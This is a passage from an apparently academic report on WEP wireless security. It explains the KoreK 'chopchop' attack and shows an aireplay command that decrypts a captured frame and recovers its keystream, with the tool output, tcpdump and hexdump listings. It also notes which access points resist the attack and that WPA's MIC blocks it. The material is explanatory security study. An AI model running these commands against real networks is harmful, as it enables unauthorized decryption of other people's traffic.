in an average of 42.8 minutes. A variation of the attack was implemented by the
anonymous hacker, “KoreK”, who published the implementation as a software tool,
Chopchop [24] in 2004 to an on-line discussion forum [1]. The “KoreK” variant of
the attack performs the attack in reverse order on the data. It starts by guessing the
last byte of the packet until it reaches the 9. byte. The first 9 bytes will be guessed
based on very common headers in data packets.
The time it takes to decrypt the frame grows only linearly with the its length. In
fact the attack introduces the possibility to obtain an arbitrarily long key sequence,
from any size data frame. E.g. obtain a 1,500 byte key sequence even from a 64 byte
long frame.
Listing 3.4: Aireplay performing a chosen plaintext attack.
# ./ aireplay -h 00:0 E :35: A3 :0 F :56 - k eth3
Option -x not specified , assuming 256.
Seen 26 packets ...
FromDS = 0 , ToDS = 1 , WEP = 1
BSSID = 00:0 D :54:9 D : EC :4 B
Src . MAC = 00:0 E :35: A3 :0 F :56
Dst . MAC = FF : FF : FF : FF : FF : FF
0 x0000 : 0841 0000 000 d 549 d ec4b 000 e 35 a3 0 f56 . A .... T .. K ..5.. V
0 x0010 : ffff ffff ffff 1004 807 f 5300 6295 ff14 ........ S . b ...
0 x0020 : ea41 744 e 6548 787 d 6 cc5 0 c26 c6cb c428 . AtNeHx } l ..&...(
0 x0030 : 5802 332 e 303 e 52 b8 a718 ddba a2bc bf7a X .3.0 > R ........ z
0 x0040 : be9d 58 da .. X .
Use this packet ? y
Saving chosen packet in replay_src -050622 -010218. pcap
Operating in a u t h e n t i c a t e d mode .
Offset 67 ( 0% done ) | xor = 2 F | pt = F5 | 235 frames written in 919 ms
Offset 66 ( 2% done ) | xor = 76 | pt = 2 E | 223 frames written in 870 ms
Offset 65 ( 5% done ) | xor = 40 | pt = DD | 4 frames written in 15 ms
...
Offset 36 (91% done ) | xor = 65 | pt = 00 | 221 frames written in 863 ms
Offset 35 (94% done ) | xor = 48 | pt = 06 | 253 frames written in 988 ms
Offset 34 (97% done ) | xor = 7 C | pt = 08 | 231 frames written in 903 ms
Saving plaintext in replay_dec -050622 -010218. pcap
Saving keystream in replay_dec -050622 -010218. prga
Completed in 23 s (1.30 bytes / s )
# hexdump eplay_dec -050622 -010218. prga
0000000 7 f80 0053 3 fc8 14 fc 41 ea 487 c 4965 7 d70
0000010 c16a 270 c c5c6 8 bf1 5457 86 f3 2531 b852
0000020 18 a7 badd 1462 7 fbe 40 d1 2 f76
000002 c
3.3. WIRED EQUIVALENT PRIVACY (WEP) 35
# tcpdump -r replay_dec -050622 -010218. pcap
reading from file replay_dec -050622 -010218. pcap , link - type IEEE802_11 (802.11)
0 1 : 0 2 : 1 8 . 8 8 9 0 9 7 arp who - has 192.168.1 . 5 tell 1 9 2 . 1 6 8 . 1 . 2 7
Listing 3.5: TCPDump displaying the decrypted frame.
# tcpdump -r replay_dec -050622 -010218. pcap
reading from file replay_dec -050622 -010218. pcap , link - type IEEE802_11 (802.11)
0 1 : 0 2 : 1 8 . 8 8 9 0 9 7 arp who - has 192.168.1 . 5 tell 1 9 2 . 1 6 8 . 1 . 2 7
Listing 3.6: Hexdump displaying the key sequence.
# hexdump eplay_dec -050622 -010218. prga
0000000 7 f80 0053 3 fc8 14 fc 41 ea 487 c 4965 7 d70
0000010 c16a 270 c c5c6 8 bf1 5457 86 f3 2531 b852
0000020 18 a7 badd 1462 7 fbe 40 d1 2 f76
000002 c
Listing 3.4 shows the tool “aireplay” from Aircrack perform the “KoreK” ver-
sion of the attack (parameter -k ). The tools purpose is to get a key sequence and
therefore it will sniff for packets it believes it will be able to decrypt fast. The -h
00:0E:35:A3:0F:56 will force aireplay to only consider packets sent by that particular
MAC address. After looking at 26 frames, it found one it believes is easy to decrypt.
The user is prompted if the tool shall try to decrypt the packet. When acknowledged
by the user the attack begins. The first byte is found after trying 235 values for the
byte. The second after 223, and so on. When all bytes have been retrieved, the key
sequence and plaintext is stored to files. In this example, the frame was decrypted in
only 23 seconds. A trick to try several different values for the last byte in parallel,
speeds up the attack considerably. The decrypted frame is displayed by “tcpdump”
in Listing 3.5. Listing 3.6 shows how the “hexdump” utility displays key sequences
stored in the .prga file.
The “KoreK” attack used by Aircrack does have some issues. It does not work
entirely on all access points. Some access points will discard any frame with a payload
of less than 40 bytes. Therefore the first 40 bytes of the ciphertext will not be
decrypted using the attack, however the later bytes can still be decrypted. What
this means for the first version of the attack is that the initial 40 bytes must be
known/guessed before deducing the plaintext of the rest of the data.
The Linksys WRT54G and WAP54G access points discard all packets with less
than 40 bytes of data. Very few access points have been reported to allow small
payloads. The example above was brute forced against a Prism54 PC-Card running
Linux and the prism54 drivers in master mode. “Master mode” is when the network
card is acting as an access point.
In WPA an additional integrity check mechanism is implemented using a Message
Integrity Code (MIC). The MIC uses a separate key for the generating its value and
protects against this attack.